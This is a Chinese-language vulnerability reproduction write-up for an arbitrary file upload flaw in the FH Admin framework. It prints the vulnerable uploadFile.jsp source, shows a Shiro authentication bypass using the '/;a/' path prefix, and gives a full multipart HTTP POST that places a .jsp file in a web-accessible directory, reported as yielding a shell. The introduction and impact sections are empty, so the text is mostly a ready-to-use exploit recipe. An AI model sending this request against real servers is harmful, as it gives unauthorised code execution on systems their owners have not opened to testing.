FH Admin 任意文件上传漏洞

一、漏洞简介

二、漏洞影响

三、复现过程

plugins/uploadify/uploadFile.jsp，即在项目下面存在文件夹plugins，其下面存在文件夹uploadify，而uploadify文件夹下面同时存在uploadFile.jsp文件；那么该项目非常有可能存在漏洞。

uploadFile.jsp文件内容如下：

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*, java.util.*, org.apache.commons.fileupload.*, java.util.*" %>
<%@ page import="org.apache.commons.fileupload.disk.*, org.apache.commons.fileupload.servlet.*" %>
<%!

    public void upload(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
        String savePath = this.getServletConfig().getServletContext().getRealPath("");
        savePath = savePath + request.getParameter("uploadPath");
        File f1 = new File(savePath);
        //这里接收了uploadPath的值  System.out.println(request.getParameter("uploadPath"));
        if (!f1.exists()) {
            f1.mkdirs();
        }
        DiskFileItemFactory fac = new DiskFileItemFactory();
        ServletFileUpload upload = new ServletFileUpload(fac);
        upload.setHeaderEncoding("utf-8");
        List fileList = null;
        try {
            fileList = upload.parseRequest(request);
        } catch (FileUploadException ex) {
            return;
        }


        String fileNmae = request.getParameter("fileNmae"); 
        Iterator<FileItem> it = fileList.iterator();
        String name = "";
        String extName = "";
        while (it.hasNext()) {
            FileItem item = it.next();
            if (!item.isFormField()) {
                name = item.getName();
                long size = item.getSize();
                String type = item.getContentType();
                //System.out.println(size + " " + type);
                if (name == null || name.trim().equals("")) {
                    continue;
                }

                // 扩展名格式：
                if (name.lastIndexOf(".") >= 0) {
                    extName = name.substring(name.lastIndexOf("."));
                }

                File file = null;
                if(null != fileNmae && !"".equals(fileNmae)){
                    file = new File(savePath + fileNmae);
                }else{
                    do {
                        if(null != fileNmae && !"".equals(fileNmae)){
                            file = new File(savePath + fileNmae);
                        }else{
                            name = new java.text.SimpleDateFormat("yyyyMMddhhmmss").format(new Date());   //获取当前日期
                            name = name + (int)(Math.random()*90000+10000);
                            file = new File(savePath + name + extName);
                        }
                    } while (file.exists());
                }

                File saveFile = new File(savePath + name + extName);
                try {
                    item.write(saveFile);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
        response.getWriter().print((name.trim() + extName.trim()).trim());
    }
%>
<%
    upload(request, response);
%>

尝试访问此文件，提示未登录302跳转

由于该框架使用到了shiro，如若shiro版本过低会导致shiro身份绕过漏洞，结合文库shiro部分的身份认证绕过利用即可getshell

我们使用

/;a/plugins/uploadify/uploadFile.jsp 代码不唯一！！！具体请参考文库shiro权限绕过部分文章！！！

来绕过shiro的权限控制，可以注意到状态码为200

结合之前给出的代码需要两个参数构造上传包

发现上传成功，但是居然找不到文件。

仔细看了一下才知道request.getParameter(\"uploadPath\");解析不了multipart里的参数，再次构造上传包

POST /;a/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQDeBiVqfe6p3FMnJ


------WebKitFormBoundaryQDeBiVqfe6p3FMnJ
Content-Disposition: form-data; name="imgFile"; filename="2204249.jsp"
Content-Type: image/jpeg

test
------WebKitFormBoundaryQDeBiVqfe6p3FMnJ--

成功shell

参考链接

https://xz.aliyun.com/t/8311